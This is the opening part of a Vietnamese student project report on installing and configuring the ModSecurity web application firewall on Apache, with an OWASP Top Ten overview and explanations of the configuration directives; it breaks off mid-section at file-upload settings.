DRAFT1
2
MỤC LỤC
I. PHIẾU GIAO ĐỀTÀI ............................................................................................................ 5
II. NHẬP ĐỀ ............................................................................................................................... 6
IV. GIỚI THIỆU MOD_SECURITY .......................................................................................... 7
CHỨC NĂNG ........................................................................................................................... 7
Parsing .................................................................................................................................... 7
Buffering ................................................................................................................................ 7
Logging .................................................................................................................................. 7
Rule Engine ............................................................................................................................ 8
CẤU TRÚC RULE TRONG ModSecurity ............................................................................... 8
QUY TRÌNH XỬ LÝ TRONG ModSecurity ........................................................................... 8
Request Header (1) ................................................................................................................. 9
Request body (2) .................................................................................................................... 9
Response headers (3).............................................................................................................. 9
Response body (4) ................................................................................................................ 10
Logging (5) ........................................................................................................................... 10
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ ..................................................................... 10
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN ....................................................... 11
VI. CÀI ĐẶT MODSECURITY ............................................................................................ 12
VII. CẤU HÌNH ....................................................................................................................... 15
Cấu hình thư mục .................................................................................................................... 15
Các tập tin cấu hình ................................................................................................................. 15
Các chỉ thị trong tập tin cấu hình............................................................................................. 16
Quản lý Request Body ............................................................................................................. 17
Quản lý Response Body .......................................................................................................... 18
Filesystem Locations ............................................................................................................... 18
File Uploads ............................................................................................................................. 19
Debug Log ............................................................................................................................... 19
Audit Log ................................................................................................................................. 19
Default Rule Match Policy ...................................................................................................... 20
Verifying Installation ............................................................................................................... 20
VIII. OWASP MODSECURITY CORE RULE SET ................................................................ 20
3
Giới thiệu ................................................................................................................................. 20
Triển khai OWASP ModSecurity CRS .................................................................................... 21
Kiểm tra kết quả ...................................................................................................................... 22
IX. TỔNG QUAN VỀ RULE .................................................................................................... 23
Giới thiệu ................................................................................................................................. 23
Variables .................................................................................................................................. 25
Request variables ................................................................................................................. 25
Server variables .................................................................................................................... 26
Response variables ............................................................................................................... 26
Miscellaneouse variables ..................................................................................................... 27
Parsing flags ......................................................................................................................... 27
Collections variables ............................................................................................................ 28
Time variables ...................................................................................................................... 28
Operators ................................................................................................................................. 29
String–matching operators ................................................................................................... 29
Numerical operators ............................................................................................................. 30
Validation operators ............................................................................................................. 30
Miscellaneous operators ....................................................................................................... 30
Actions ..................................................................................................................................... 31
Disruptive actions ................................................................................................................. 31
Flow actions ......................................................................................................................... 31
Metadata actions ................................................................................................................... 32
Variable actions .................................................................................................................... 32
Logging actions .................................................................................................................... 32
Special actions ...................................................................................................................... 33
Miscellaneous Actions ......................................................................................................... 33
X. RULE LANGUAGE TUTORIAL ....................................................................................... 33
Tổng quan ................................................................................................................................ 33
Hướng dẫn sử dụng biến (variable) ......................................................................................... 33
Hướng dẫn sử dụng liên kết rule (chain) ................................................................................. 34
Hướng dẫn sử dụng toán tử phủ định ...................................................................................... 34
Variable Counting .................................................................................................................... 35
4
Hướng dẫn về action ................................................................................................................ 35
Action Defaults .................................................................................................................... 35
Unconditional Rules ............................................................................................................. 36
Using Transformation Functions .......................................................................................... 36
Blocking ............................................................................................................................... 37
Changing Rule Flow ............................................................................................................ 37
Capturing Data ..................................................................................................................... 38
Variable Manipulation .......................................................................................................... 39
Metadata ............................................................................................................................... 39
XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ ........................................................ 40
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên. ...... 40
Trường hợp 2: Phát hiện các Session cookie không hợp lệ ..................................................... 43
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting ....................... 48
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal ...................................... 50
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng .................................................... 52
Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce .......................................................... 54
XII. PHỤ LỤC ......................................................................................................................... 61
DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010 .............................................................. 61
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB ................. 64
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB ..... 67
XIII. TÀI LIỆU THAM KHẢO ................................................................................................ 91
5
I. PHIẾU GIAO ĐỀTÀI Tên đề án: Nghiên cứu ứng dụng Mod Security để bảo vệ web
server
Người hướng dẫn: Lưu Thanh Trà
Thời gian thực hiện: 14 tuần
Số lượng SV 2
I. Mục đích
Các firewall truyền thống không đủ mạnh để để bảo vệ các web server. ModSecurity cho phép
bảo vệ web server (một/nhiều) thông qua cơ chế can thiệp trực tiếp ở mức độ ứng dụng.
Đồ án này nhằm nghiên cứu và ứng dụng ModSecurity để bảo vệ hệ thống web bất kỳ.
II. II. Yêu cầu đối với sinh viên thực hiện
Sinh viên có kiến thức cơ bản về Linux, web
Sinh viên có kiến thức về security, html, lập trình web
III. yêu cầu
Sinh viên nắm rõ hoạt động của hệ điều hành Linux
Sinh viên nắm rõ web, html, http, PhP.
IV. Sản phẩm
Hệ thống Mod Security triển khai hoàn chỉnh để bảo vệ hệ thống web
V. Tài liệu tham khảo
Các giáo trình do giảng viên đề nghị, Internet
Ngày 28 tháng 02 năm 2013
Ký tên
TS. Lưu Thanh Trà
6
II. NHẬP ĐỀ Ngày nay, ứng dụng web trong doanh nghiệp và cơ quan chính phủ phải đối mặt với hai
thách thức lớn là: giảm thiểu nguy cơ bảo mật và bảo đảm quy trình trong công nghiệp và/hoặc
những quy định chính phủ. May mắn thay khi tồn tại một giải pháp an toàn thông tin sẵn sàng
hỗ trợ các tổ chức CNTT đạt được cả hai tiêu chí trên tại cùng một thời điểm. OWASP cho
phép các chuyên gia an ninh CNTT giảm thiểu được các cuộc tấn công bằng các chủ động và
liên tục củng cố các cấu hình cấu hình an ninh của OS, ứng dụng web và Web Application
Firewall. Đồng thời, các dự án thuộc chuẩn OWASP cho phép các kiểm soát viên giám sát việc
tuân thủ các chính sách bắt buộc trong tổ chức, doanh nghiệp.
ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu hình, tùy
chỉnh các phương thức phát hiện tấn công vào web server. Phiên bản ModSecurity hiện tại đã
hỗ trợ Apache, Nginx và IIS. Cùng với dự án ModSecurity Core Rule Set thì việc triển khai hệ
thống WAF càng dễ dàng hơn cho nhân viên hệ thống cũng như các chuyên viên bảo mật.
7
IV. GIỚI THIỆU MOD_SECURITY Mod_Security là một module mở rộng cho các chương trình web server như Apache, Nginx,
IIS và hoạt động như một firewall tại lớp ứng dụng web. Cùng với sự gia tăng về phương pháp
tấn công web thì mod_security cũng đã cập nhật những rule và đưa ra nhiều cách phòng chống
trong mã nguồn của chương trình. Một số tính chất mà mod_security có thể dùng làm Web
Application Firewall:
Tính linh động (Flexibility)
Việc phân tích luồng HTTP theo một tiêu chí nhất định trong thực tế thường gặp vấn đề là
làm sao để có thể so trùng mẫu mà bạn muốn. Ngoài ra, do nhu cầu của từng hệ thống web là
khác nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau. Mod_security đã kết
hợp với OWASP phát triển các tập rule mẫu (Core Rule Set) nhằm tạo ra tính linh động cho
từng mô hình web khác nhau, hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống
đang quản trị.
Tính thụ động (Passivity)
ModSecurity sẽ không thực thi các tác vụ nếu như người quản trị viên không chỉ định công
việc cụ thể cho chương trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân
tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông qua cơ chế phân tích và
quyết định tương tác với hệ thống sẽ do người quản trị thực hiện.
CHỨC NĂNG
ModSecurity hoạt động với chương trình web server (ví dụ: Apache) sẽ thực hiện các tác vụ
như sau:
Parsing
ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống thành cấu trúc dữ liệu mà
ModSecurity định nghĩa sẵn. Cấu trúc này sẽ được chuyển qua cơ chế so trùng mẫu trong tập
rule để phân tích nguy cơ.
Buffering
Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec.
Việc này có ý nghĩa khi các request gởi đến ứng dụng web thì phải thông qua ModSecurity
trước khi đến ứng dụng xử lý và những response cũng sẽ được phân tích trước khi trả về phía
client. Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời gian thực, các
dữ liệu mà ModSecurity nhận được và phân tích sẽ được lưu trữ trong RAM (bao gồm request
body và response data)
Logging
ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request headers, request body, response
header, response body nhằm hỗ trợ người quản trị phân tích nguy cơ mà hệ thống đang gặp
phải để có thể ra quyết định kiểm soát.
8
Rule Engine
Các tập mẫu trong ModSecurity đóng vai trò quan trọng trong việc phát hiện các dạng tấn
công và thực hiện phòng chống. ModSecurity cùng phát triển với dự án OWASP phát triển các
mẫu để phân tích và phòng chống các tấn công hệ thống web (Tham khảo
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
Các phân nhóm mà CRS hỗ trợ:
HTTP Protection
Real-time Blacklist Lookups
Web-based Malware Detection
HTTP Denial of Service Protections
Common Web Attacks Protection
Automation Detection
Integration with AV Scanning for File Uploads
Tracking Sensitive Data
Trojan Protection
Identification of Application Defects
Error Detection and Hiding
CẤU TRÚC RULE TRONG ModSecurity
Tất cả các hoạt động trong ModSecurity hầu hết sẽ liên quan đến hai phần chính là: cấu hình
(configuration) và các tập luật (rule). Phần cấu hình chỉ định cách thức xử lý dữ liệu, trong khi
các rule sẽ quyết định thực hiện các hành vi (action) với dữ liệu đã được xử lý.
Một ví dụ về rule: SecRule ARGS "<script>" log,deny,status:404
Cấu trúc chuẩn của một rule trong ModSecurity bao gồm 3 phần chính:
SecRule VARIABLES OPERATOR ACTIONS
VARIABLES: xác định vị trí dữ liệu mà ModSecurity sẽ tìm kiếm mẫu. Trong ví dụ trên,
tham số ARGS nhằm chỉ định tìm kiếm mẫu trong tất cả các tham số trong request.
OPERATOR: chỉ định cách mà ModSecurity sẽ tìm kiếm mẫu. Các operator được dùng theo
dạng Regular expression nhằm tạo nên cơ chế phân tích linh động cho các rule.
ACTIONS: chỉ định hành động mà ModSecurity sẽ thực hiện khi có một mẫu được so trùng.
Trong ví dụ trên, phần action được viết log,deny,status:404 có nghĩa là: khi trùng mẫu <script>
trong gói tin thì thực hiện ghi log, deny gói tin bằng cách sử dụng mã trạng thái 404 (Not
found).
QUY TRÌNH XỬ LÝ TRONG ModSecurity
Trong ModSecurity mỗi phiên phân tích sẽ thực hiện lần lượt qua 5 bước (pha), tại mỗi bước
ModSecurity sẽ thực thi các rule tương ứng nhằm phát hiện và phòng chống các khai thác.
9
Hình 1: Quy trình xử lý của ModSecurity (nguồn www.Modsecurity.org)
Request Header (1)
Đây là bước đầu tiên trong quá trình thực hiện phân tích gói tin. Mục đích của bước này
nhằm cho phép người viết rule tương tác với các request trước khi thực hiện các yêu cầu trong
phần HTTP body. Phần này khá quan trọng để phân tích các khai thác dựa vào HTTP method
cũng như dựa vào URL như SQL Injection, Reflect XSS, Local file include …
Request body (2)
Bước 2 là quá trình kiểm tra chính trong quá trình client gởi request đến server, phần này sẽ
có hiệu quả khi người dùng cố sử dụng phương thức POST hoặc PUT để upload tập tin lên phía
server. Việc kiểm tra này bảo đảm dữ liệu đưa lên server là an toàn, tránh tình trạng upload mã
độc hoặc các dạng tấn công nhưng Stored XSS, Ajax Injection …
Response headers (3)
Những request đã được xử lý tại server sẽ được trả về cho ModSecurity kiểm tra trạng thái
trong phần respone header. Trước khi phần respone body được đọc thì ModSecurity sẽ dựa vào
tập rule để xác định có cần kiểm tra nội dung dữ liệu trong phần body hay không.
Ví dụ: mã trạng thái trả về là 404 (Not found) thì lúc này sẽ không cần kiểm tra nội dung gói
tin trả về.
10
Response body (4)
Sau khi ModSecurity đã hoàn thành việc kiểm tra tại respone header thì nội dung trong phần
body sẽ được kiểm tra so trùng với mẫu trong tập lệnh.Việc này là khá hiệu quả để phát hiện và
phòng chống xâm nhập trong trường hợp bước 1 và 2 không phát hiện được tấn công.
Ví dụ: trong khai thác SQL injection, nếu hacker cố gắng sử dụng một số công nghệ evasion
thì việc phát hiện khi request là khó khăn. Khi khai thác thành công, ModSecurity sẽ phân tích
kết quả trong gói tin trả về để phát hiện nếu như câu truy vấn thành công.
Logging (5)
Việc ghi log sẽ ghi nhận các cảnh báo cũng như quy trình làm việc của ModSecurity.
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ
Nhằm bảo đảm tính tính linh động trong việc phát hiện cũng như bảo vệ theo thời gian thực,
ModSecurity cần sử dụng một lượng tài nguyên CPU và RAM để bảo đảm hoạt động đúng
mục đích khi triển khai. Việc sử dụng tài nguyên phụ thuộc nhiều vào phần cấu hình và cách
triển khai trên từng hệ thống khác nhau. Dưới dây là một số điểm chính cần chú ý:
ModSecurity sẽ phân tích các cú pháp mà apache sẽ thực hiện, vì thế hệ thống của bạn sẽ có
thể tăng tiêu thụ tài nguyên CPU để thực hiện tác vụ.
Việc phân tích linh động trong một số trường hợp sẽ cần một lượng tài nguyên khá lớn để
phân tích. Ví dụ: XML, JSON, AJAX …
Việc quản lý dữ liệu upload từ phía client yêu cầu thêm tài nguyên I/O (như HDD), trong
một số trường hợp sẽ gây ra tình trạng trùng lặp dữ liệu trên hệ thống.
Dữ liệu trong request và resopone được lưu trữ đệm trong RAM để thực hiện các tác vụ chặn
theo thời gian thực.
Mỗi rule trong phần cấu hình sẽ sử dụng CPU (cho phần operartor) và RAM (dùng để
chuyển đổi dữ liệu đầu vào trước khi qua phiên phân tích)
Việc sử dụng các Regular expression sẽ tốn các tài nguyên nhiều hơn.
Các hoạt động I/O sẽ tăng cao cho việc ghi nhật ký trong quá trình hoạt động của
ModSecurity (full transaction loging).
Khi triển khai thực tế ModSecurity, bạn cần chú ý đến những điều trên để có thể xác định
được tài nguyên cần thiết để ModSecurity hoạt động ổn định. Trong trường hợp bạn không thể
thay đổi tài nguyên phần cứng, thì tôi khuyên bạn nên thường xuyên theo dõi trạng thái hoạt
động của hệ thống, rút ra những kinh nghiệm nhằm điều chỉnh hoặc giảm bớt chức năng,
ruleset phù hợp mà vẫn đảm bảo an toàn cho việc hoạt động. Nếu như tổ chức mà bạn đang
quản lý sử dụng một số công nghệ ảo hóa thì việc điều chỉnh tài nguyên sẽ thuận tiện hơn để
ModSecurity hoạt động.
Một cách khác để triển khai ModSecurity trên thực thế là dùng như một reverse proxy, trong
trường hợp này tài nguyên cho ModSecurity sẽ ổn định hơn so với hệ thống tích hợp (CPU,
RAM, I/O hoạt động ở trạng thái cao).
11
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN OWASP (Open Web Application Security Project) là một dự án phi lợi nhuận, tập trung vào
việc cải thiện tính bảo mật của ứng dụng web. Thành viên của dự án là các cá nhân, tổ chức,
chuyên gia … cùng đóng góp các mã nguồn, công cụ hỗ trợ kiểm tra lỗ hổng ứng dụng web.
Năm 2010, cộng đồng OWASP xuất bản “Tài liệu hướng dẫn kiểm tra ứng dụng Web” phiên
bản 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).
Tài liệu liệt kê và phân nhóm các lỗ hổng bảo mật đã được biết đến trong ứng dụng web. Đồng
thời nội dung của tài liệu này mô tả các dự án được cộng đồng phát triển, bao gồm dự án WAF
ModSecurity.
OWASP phân loại các lỗ hổng thành 10 phân nhóm chính:
A1-Injection Nhóm này bao gồm các lỗ hổng như SQL injection, OS command
injection, LDAP injection…các lỗ hổng trong phân nhóm này cho
phép hacker truy cập hoặc chèn các dữ liệu giả vào hệ thống thông
qua các câu truy vấn dữ liệu.
A2-Cross Site
Scripting (XSS)
XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập
các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ
liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử
dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản
như HTML, Javascript… nhằm ăn cắp SessionCookie, thay đổi giao
diện (deface) hoặc chuyển hướng đến trang có mã độc khác.
A3-Broken
Authentication and
Session Management
Phân nhóm này liệt kê các nguy cơ về chức năng xác thực và quản
lý phiên (session management) trong ứng dụng web. Thông thường
các chức năng này không được triển khai tốt, cho phép hacker vượt
qua cơ chế kiểm duyệt người dùng.
A4-Insecure Direct
Object References
Nguy cơ trong nhóm A4 thường được gặp trong trường hợp các
lập trình viên sử dụng tham chiếu đến một tập tin, thư mục hoặc các
truy vấn database trong mã nguồn. Nếu các tham chiếu này không
được quản lý chặt chẽ, thì việc truy cập dữ liệu trái phép từ bên ngoài
là rất nguy hiểm.
A5-Cross Site
Request Forgery
(CSRF)
Một cuộc tấn công CSRF yêu cầu một người dùng đã đăng nhập.
Tiếp theo, hacker sẽ chèn các mã kịch bản đã được dựng sẵn vào nội
dung trang web nhằm thực thi một hành động bất hợp pháp với
quyền của người dùng đã đăng nhập.
A6-Security
Misconfiguration
Các yêu cầu về bảo mật ứng dụng web cũng bao gồm việc cấu
hình và triển khai hệ thống, ứng dụng webserver (Apache, Nginx,
Tenginx…), cơ sở dữ liệu (MySQL, Oracle…), hệ điều hành (Linux,
Windows…). Tất cả công việc thiết lập môi trường cho ứng dụng
web hoạt động cần được lên kế hoạch theo dõi, kiểm tra, cập nhật
thường xuyên nhằm giảm thiểu nguy cơ hệ thống bị khai thác.
A7-Insecure
Cryptographic Storage
Rất nhiều ứng dụng web không quan tâm đến việc bảo vệ dữ liệu
nhạy cảm như thông tin thẻ tín dụng, SSN và các thông tin xác thực.
12
Việc hacker thu thập các dữ liệu nhạy cảm không được mã hóa
(encrypt) hoặc băm (hash) sẽ tạo ra mối nguy hiểm lớn cho những
website cho phép giao dịch thông qua thương mại điện tử.
A8-Failure to
Restrict URL Access
Hầu hết các ứng dụng thường thực hiện kiểm soát việc truy cập
thông qua URL (thông qua cơ chế Rewrite). Việc giới hạn quyền truy
cập vào các tập tin, thư mục nhạy cảm là cần thiết. Trong một số tình
huống, việc kiểm soát này không được quản lý đầu đủ tạo nguy cơ
xâm nhập trái phép vào ứng dụng (ví dụ: thư viện fckditor thường có
thể truy cập trực tiếp không cần xác thực).
A9-Insufficient
Transport Layer
Protection
Thông tin xác thực được truyền qua môi trường mạng truyền dẫn
không bảo mật sẽ tạo ra nguy cơ dữ liệu bị nghe lén. Việc này cũng
tương tự nếu như ứng dụng sử dụng các chứng chỉ số (certificate) với
các khóa yếu (weak key), thuật toán mã hóa yếu (weak algorithms)
hoặc chứng chỉ đã hết hạn sử dụng (expired).
A10-Unvalidated
Redirects and Forwards
Các ứng dụng web thường chuyển hướng người dùng đến những
trang web hoặc URL khác nhau. Hacker có thể lợi dụng cơ chế này
để chuyển hướng người dùng đến những website chứa phần mềm độc
hại hoặc trang đăng nhập giả.
Dự án OWASP ModSecurity Core Rule Set (CRS) sử dụng bản quyền ASLv2. Các tập rule
trong CRS được phân loại theo tiêu chuẩn OWASP để có thể bảo vệ máy chủ web theo từng
loại tấn công. Các rule này hoạt động tốt với phiên bản ModSecurity 2.5 trở lên.
Các vấn đề về triển khai ModSecurity CRS và phương pháp kiểm tra lỗ hổng sau khi triển
khai, bạn có thể tham khảo tại mục OWASP MODSECURITY CORE RULE SET và PHỤ
LỤC.
VI. CÀI ĐẶT MODSECURITY Trước khi bạn tiến hành cài đặt ModSecurity cho hệ thống, bạn cần biết những phương thức
cài đặt cũng như một số ưu điểm và khuyết điểm cho từng loại:
CÁCH CÀI ĐẶT ƯU ĐIỂM NHƯỢC ĐIỂM
Dựa vào phiên bản của
hệ điều hành Tự động cài đặt
Dễ dàng bảo trì
Có thể là phiên bản
cũ
Gói cài đặt của bên thứ
ba Tự động cài đặt Có thể là phiên bản
cũ
Yêu cầu tải và cập
nhật thường xuyên
Không tin tưởng vào
gói cài đặt đã đóng gói
Cài đặt từ mã nguồn Bảo đảm là phiên
bản mới nhất
Có thể sử dụng phiên
bản thử nghiệm
Có thể gặp các vấn
đề khi quản trị viên muốn
sử dụng lại phiên bản cũ
trước đó
13
Có thể tùy biến, sử
dụng các bản vá khẩn cấp
trong tình huống phát hiện
lỗi bảo mật
Trong phần này, tôi sẽ hướng dẫn biên dịch từ mã nguồn. ModSecurity được tải tại trang
web www.Modsecurity.org.
Trước khi cài đặt ModSecurity trên nền tảng Linux, bạn cần cài đặt một số thư viện hỗ trợ
như sau: Apache Portable Runtime (APR), APR-util,bật module mod_unique_id trong Apache,
libcurl, libxml2, Lua 5.1 (tùy chọn), PCRE.
#yum install openssl openssl-devel pcre pcre-devel libxml2 libxml2-devel curl-devel pcre
pcre-devel
Tải phiên bản ModSecurity mới nhất tại trang chính của sản phẩm.
#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz
#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz.md5
Kiểm tra gói tin đã tải về
#md5sum –c Modsecurity-apache_2.7.3.tar.gz.md5
Thực hiện giải nén
#tar xvf Modsecurity-apache_2.7.3.tar.gz
#cd Modsecurity-apache_2.7.3
Biên dịch cài đặt chương trình
#./configure
# make
# make install
Hình 2: Kiểm tra MD5 tập tin cài đặt
14
Sau khi cài đặt thành công, ta cần cấu hình LoadModule trong tập tin cấu hình của Apache
(mặc định trên CentOS là /etc/httpd/conf/httpd.conf)
Bỏ comment cho unique_id_module
LoadModule unique_id_module modules/mod_unique_id.so
Thêm dòng
LoadModule security2_module modules/mod_security2.so
Sau khi chỉnh tập tin httpd.conf, ta save lại và tiến hành kiểm tra tập tin cấu hình, bảo đảm
Apache hoạt động bình thường.
# httpd –t
Khởi động lại dịch vụ httpd trên hệ thống, đồng thời kiểm tra log file để bảo đảm dịch vụ
hoạt động tốt.
# service httpd restart
#tail –f /var/logs/httpd/error_log
15
Hình 3: Log thông báo trạng thái khởi động của Apache
Apache đã hoạt động bình thường với mod_security.
VII. CẤU HÌNH
Cấu hình thư mục
Trước khi thực hiện cấu hình ModSecurity, tôi sẽ tạo một danh sách các thư mục theo một
định dạng sẵn. Việc này giúp tôi quản lý dễ dàng các dữ liệu mà ModSecurity tạo ra, đồng thời
hỗ trợ trong việc bảo trì và cập nhật các rule mới cho ModSecurity.
Binaries: /opt/modsecurity/bin
Configuration files: /opt/modsecurity /etc
Audit logs: /opt/modsecurity /var/audit
Persistent data: /opt/modsecurity/var/data
Logs: /opt/modsecurity/var/log
Temporary files: /opt/modsecurity/var/tmp
File uploads: /opt/modsecurity/var/upload
Location Owner Group Permissions
/opt/modsecurity root apache rwxr-x---
/opt/modsecurity/bin root apache rwxr-x---
/opt/modsecurity/etc root root rwx------
/opt/modsecurity/var root apache rwxr-x---
/opt/modsecurity/var/aud
it
apache root rwx------
/opt/modsecurity/var/dat
a
apache root rwx------
/opt/modsecurity/var/log root root rwx------
/opt/modsecurity/var/tmp apache apache rwxr-x---
/opt/modsecurity/var/upl
oad
apache root rwx------
Các tập tin cấu hình
Tập tin Mô tả
main.conf Tập tin cấu hình chính
16
rules-first.conf Tập lệnh thực hiện đầu tiên
rules.conf Tập lệnh thực hiện chính
rules-last.conf Tập lệnh thực hiện cuối cùng
Thực hiện tạo tập tin Modsecurity.conf trong thư mục /etc/httpd/conf.d với nội dung:
<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
Include /opt/modsecurity/etc/rules-first.conf
Include /opt/modsecurity/etc/rules.conf
Include /opt/modsecurity/etc/rules-last.conf
</IfModule>
Tạo một tập tin cấu hình mẫu cho ModSecurity dựa vào tập tin đề nghị có sẵn, tại thư mục
chứa mã nguồn Modsecurity thự hiện lệnh sao chép như sau:
#cp Modsecurity.conf-recommended /opt/modsecurity/etc/main.conf
Các chỉ thị trong tập tin cấu hình
Chỉ thị Mô tả
SecArgumentSeparator Sets the application/x-www-form-urlencoded
parameter separator
SecCookieFormat Sets the cookie parser version
SecDataDir Sets the folder for persistent storage
SecRequestBodyAccess Controls request body buffering
SecRequestBodyInMemoryLimit Sets the size of the per-request memory buffer
SecRequestBodyLimit Sets the maximum request body size
ModSecurity will accept
SecRequestBodyLimitAction Controls what happens once the request body
limit is reached
SecRequestBodyNoFilesLimit Sets the maximum request body size,
excluding uploaded files
SecResponseBodyAccess Controls response body buffering
SecResponseBodyLimit Specifies the response body buffering limit
SecResponseBodyLimitAction Controls what happens once the response body
limit is reached
SecResponseBodyMimeType Specifies a list of response body MIME types
to inspect
SecResponseBodyMimeTypesClear Clears the list of response body MIME types
SecRuleEngine Controls the operation of the rule engine
17
SecTmpDir Sets the folder for temporary files
Quản lý Request Body
Request bao gồm hai thành phần: request header mặc định luôn được bật trong ModSecurity
và request body là tùy chọn để theo dõi. Trong trường hợp quản trị viên cần theo dõi nội dung
request body thì cầu cấu hình như sau:
# Allow ModSecurity to access request bodies. If you don't, ModSecurity
# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.
#
SecRequestBodyAccess On
Khi chức năng quản lý request body được sử dụng, thì ModSecurity không những sẽ theo
dõi nội dung gói tin mà còn sẽ lưu trữ nội dung trong bộ đệm (buffer) để phân tích trong trường
hợp dữ liệu gởi đến server cần nhiều hơn một gói tin HTTP. Nhằm tránh tình trạng gây quá tải
cho bộ nhớ RAM, quản trị viên cần điều chỉnh tham số giới hạn phù hợp. Có ba phần cấu hình
chỉ định hoạt động của buffer. Hai chỉ thị đầu tiên dùng để giới hạn của các request:
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
Trong phiên bản trước 2.5, ModSecurity chỉ hỗ trợ SecRequestBodyLimit dùng để giới hạn
kích thước gói tin request đến server, bao gồm gói tin với POST method bình thường (ví dụ:
nhập username, password) và các gói tin dùng POST method để upload tập tin. Nhưng nhóm
phát triển ModSecurity thấy rằng: khi client dùng POST để upload tập tin, thì quá trình này
không sử dụng đến RAM để xử lý gói tin mà chỉ dùng I/O để truyền dữ liệu. Vì lý do này, trong
phiên bản sau 2.5 thì chức năng SecRequestBodyNoFilesLimit được thêm vào nhằm phân biệt
gói tin dùng để upload tập tin và gói tin dùng để nhập dữ liệu từ client.
Chỉ thị thứ ba trong phần này là SecRequestBodyInMemoryLimit, dùng điều khiển hoạt
động lưu trữ nội dung của gói tin vào bộ nhớ RAM. Tham số trong phần này chỉ có hiệu quả
với các gói tin có nhiệm vụ upload tập tin (multipart/form-data)
# Store up to 128 KB of request body data in memory. When the multipart
# parser reachers this limit, it will start using your hard disk for
# storage. That is slow, but unavoidable.
#
SecRequestBodyInMemoryLimit 131072
18
Những gói tin có kích thước trong khoảng giới hạn tại mục SecRequestBodyInMemoryLimit
sẽ được lưu trữ trong RAM. Những gói tin có kích thước lớn hơn sẽ được chuyển vào vùng nhớ
swap trên ổ cứng để lưu trữ và phân tích.
Quản lý Response Body
Tương tự như gói tin request, các gói tin respone cũng bao gồm hai phần là header và body
(trong một số trường hợp gói tin respone không tồn tại nội dung trong phần body). Ta cấu hình
việc theo dõi nội dung trong repone tại mục SecResponseBodyAccess.
# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify errors
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
SecResponseBodyAccess Off
Tôi khuyến cáo nên tắt chức năng theo dõi respone nhằm giảm thiểu tài nguyên CPU và
RAM trên máy chủ. Hơn nữa, hầu hết các cuộc tấn công thường xuất hiện bên ngoài hệ thống,
nên việc theo dõi các repone đôi khi là không cần thiết.Trong trường hợp bạn cần theo dõi dữ
liệu phản hồi từ server, đơn giản là thiết lập thành giá trị thành On.
Trong dữ liệu mà phía server trả về phía client thường bao gồm nhiều thành phần và kiểu
khác nhau như: html, css, js, jpg, xml … Trong hầu hết các trường hợp, thì các dữ liệu tĩnh
(javascript, css …) không tạo ra nguy cơ bảo mật nào cho hệ thống, do vậy trong ModSecurity
ta cần chỉ định rõ kiểu dữ liệu cần theo dõi trong phần SecResponseBodyMimeType
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
Filesystem Locations
Trong phần cấu hình này, ta cần chỉ định thư mục lưu trữ tạm thời nhằm phục vụ cho chức
năng theo dõi nội dung tập tin đăng tải lên phía server. Ngoài ra, thư mục này bao gồm việc lưu
trữ các session_cookie trong trường hợp phục vụ cho các rule chống khai thác thông qua
session_fixation hoặc session_hijacking.
#-- Filesystem configuration ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
#
# This default setting is chosen due to all systems have /tmp available however,
# this is less than ideal. It is recommended that you specify a location that's private.
19
#
SecTmpDir /tmp/
# The location where ModSecurity will keep its persistent data. This default setting
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
#
SecDataDir /tmp/
File Uploads
Tại phần cấu hình quản lý upload tập tin, ta cần chỉ định thư mục chứa dữ liệu tạm thời trong
trường hợp có tập tin được upload. Thư mục này sẽ chứa tập tin tạm thời để ModSecurity kiểm
tra trước khi đưa quan Apache xử lý nội dung tiếp theo.
Khuyến cáo: việc sử dụng chức năng theo dõi tập tin upload có thể là nguyên nhân của việc
làm tăng dung lượng lưu trữ do có nhiều tập tin trùng lặp nội dung, đồng thời việc này sẽ làm
giảm hiệu suất của ModSecurity. Vì lý do này, bạn chỉ nên sử dụng chức năng này khi thật sự
cần thiết.
# The location where ModSecurity will store intercepted
# uploaded files. This location must be private to ModSecurity.
